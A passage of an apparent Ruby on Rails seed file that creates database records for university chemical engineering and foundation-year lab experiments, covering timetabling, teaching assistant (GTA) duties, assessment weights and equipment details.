jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a400.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a400.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a400.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a401 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"109\").first_or_create!(name: \"Exp 2: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at401 = ActivityTimetable.where(activity_id: a401.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a401.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a401.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a401.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a401.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a401.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a402 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"110\").first_or_create!(name: \"Enthalpies of Combustion\",\n name_abrv: \"FY2\", archived: false, in_drive: false, user_id: 2)\n at402 = ActivityTimetable.where(activity_id: a402.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 4, max_week_num: 4, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a402.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a402.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a402.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a402.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a402.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a403 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"111\").first_or_create!(name: \"Experiment 3 (student proposals)\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at403 = ActivityTimetable.where(activity_id: a403.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a403.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a403.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a403.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a403.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a403.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a404 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"112\").first_or_create!(name: \"Experiment E1: Measurement of kappa for air by pressure measurement\",\n name_abrv: \"E1\", archived: false, in_drive: false, user_id: 2)\n at404 = ActivityTimetable.where(activity_id: a404.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a404.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jjd5ugd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a404.id).first_or_create!(criteria: \"Interest/experience in pumps, valves, P/T measurement and data acquisition. The equipment is considered to be medium scale.\",\n job_desc:\"Supervising groups of students using the Armfield TH5 (check Armfield website for details). Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a404.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a404.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a404.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a405 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"113\").first_or_create!(name: \"Experiment F1: Determination of the activation energy for the iodine clock reaction\",\n name_abrv: \"F1\", archived: false, in_drive: false, user_id: 4)\n at405 = ActivityTimetable.where(activity_id: a405.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a405.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hk9uttd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a405.id).first_or_create!(criteria: \"Interest/experience would suit people with chemistry backgrounds. This involves running a number of experiments at different temperatures and determining the reaction time. It is based on the \\\"iodine clock reaction\\\", where the reaction time is determined from a sudden change in colour.\",\n job_desc:\"Supervising groups of students using \\\"typical\\\" lab equipment: chemicals, test tubes, water baths and stirrers. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a405.id).first_or_create!(assess_weight: 3.33, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a405.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a405.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a406 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"114\").first_or_create!(name: \"Experiment P1: PVT properties of an ideal gas\",\n name_abrv: \"P1\", archived: false, in_drive: false, user_id: 1)\n at406 = ActivityTimetable.where(activity_id: a406.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a406.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/omrcc26\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a406.id).first_or_create!(criteria: \"Interest/experience in physical chemistry and pressure measurement. The equipment is considered small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using a simple glass tube/hand-pump combination. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a406.id).first_or_create!(assess_weight: 2.5, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a406.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a406.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a407 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"115\").first_or_create!(name: \"Experiment P2: Investigation of a bomb calorimeter\",\n name_abrv: \"P2\", archived: false, in_drive: false, user_id: 5)\n at407 = ActivityTimetable.where(activity_id: a407.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a407.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/o9bkozv\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a407.id).first_or_create!(criteria: \"Interest/experience in combustion, heat transfer and thermodynamics. This is quite a hands-on experiment since it involves dealing with gas cylinders as well.\",\n job_desc:\"Supervising groups of students using an Anton-Parr bomb calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a407.id).first_or_create!(assess_weight: 3.33, notes: \"Post lab quiz prefered, as in previous years. This has previously been carried out by way of a 1-side assignment.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a407.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a407.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a408 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"116\").first_or_create!(name: \"Experiment P3: Investigation of a solution calorimeter\",\n name_abrv: \"P3\", archived: false, in_drive: false, user_id: 3)\n at408 = ActivityTimetable.where(activity_id: a408.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a408.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hpdgh7k\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a408.id).first_or_create!(criteria: \"Interest/experience in making solutions, operating small mixers and data acquisition (National Instruments). This is quite a hands-on experiment since it involves putting equipment together as well as running the equipment.\",\n job_desc:\"Supervising groups of students using an in-house solution calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a408.id).first_or_create!(assess_weight: 3.33, notes: \"As in previous years.Completed numerical analysis sheet and graphical plot of data.\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a408.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a408.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a409 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"117\").first_or_create!(name: \"Exp 1: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at409 = ActivityTimetable.where(activity_id: a409.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a409.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a409.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a409.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a409.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a409.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a410 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE140\").first.id, code: \"118\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3\", archived: false, in_drive: false, user_id: 5)\n at410 = ActivityTimetable.where(activity_id: a410.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a410.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hbd2b4p\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a410.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a410.id).first_or_create!(assess_weight: 10.0, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a410.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a410.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a411 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"431\").first_or_create!(name: \"Motion of spheres through liquids\",\n name_abrv: \"SPHERES\", archived: false, in_drive: false, user_id: 2)\n at411 = ActivityTimetable.where(activity_id: a411.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a411.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jatar4g\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a411.id).first_or_create!(criteria: \"Knowledge of stokes's drag law, viscosity, terminal velocity\",\n job_desc:\"Using the UoS large vertical drag tubes, balls of various sizes and materials are dropped through liquids of different viscosity. The traversal time is recorded and the material density is calculated for each ball based on a series of equations.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a411.id).first_or_create!(assess_weight: 5.0, notes: \"This is a five-question MOLE test to check understanding of the experiment\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a411.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a411.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a412 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"120\").first_or_create!(name: \"Particle Motion in Liquid Columns\",\n name_abrv: \"S4\", archived: true, in_drive: false, user_id: 1)\n at412 = ActivityTimetable.where(activity_id: a412.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a412.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a412.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a412.id).first_or_create!(assess_weight: 5.0, notes: \"This is the first occasion on which MJH has used a MOLE test as a post-lab\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a412.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a412.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a413 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"121\").first_or_create!(name: \"Investigation of ion exchange\",\n name_abrv: \"FY4\", archived: false, in_drive: false, user_id: 3)\n at413 = ActivityTimetable.where(activity_id: a413.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 9, max_week_num: 9, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a413.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a413.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a413.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a413.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a413.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a414 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"122\").first_or_create!(name: \"Introduction to Electrochemistry\",\n name_abrv: \"FY5\", archived: false, in_drive: false, user_id: 3)\n at414 = ActivityTimetable.where(activity_id: a414.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 11, max_week_num: 11, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a414.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a414.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a414.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a414.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a414.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a415 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"123\").first_or_create!(name: \"Water of Crystallisation\",\n name_abrv: \"FY3\", archived: false, in_drive: false, user_id: 4)\n at415 = ActivityTimetable.where(activity_id: a415.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 7, max_week_num: 7, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a415.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a415.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a415.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a415.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a415.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a416 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"124\").first_or_create!(name: \"Working with Solutions\",\n name_abrv: \"FY1\", archived: false, in_drive: false, user_id: 5)\n at416 = ActivityTimetable.where(activity_id: a416.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 2, max_week_num: 2, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a416.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a416.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a416.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a416.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a416.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a417 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"125\").first_or_create!(name: \"Exp 2: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at417 = ActivityTimetable.where(activity_id: a417.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a417.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a417.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a417.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a417.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a417.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a418 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"126\").first_or_create!(name: \"Exp2: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at418 = ActivityTimetable.where(activity_id: a418.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a418.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a418.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a418.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a418.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a418.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a419 = Activity.where(theme_id: $mbce.id, uni_module_id: 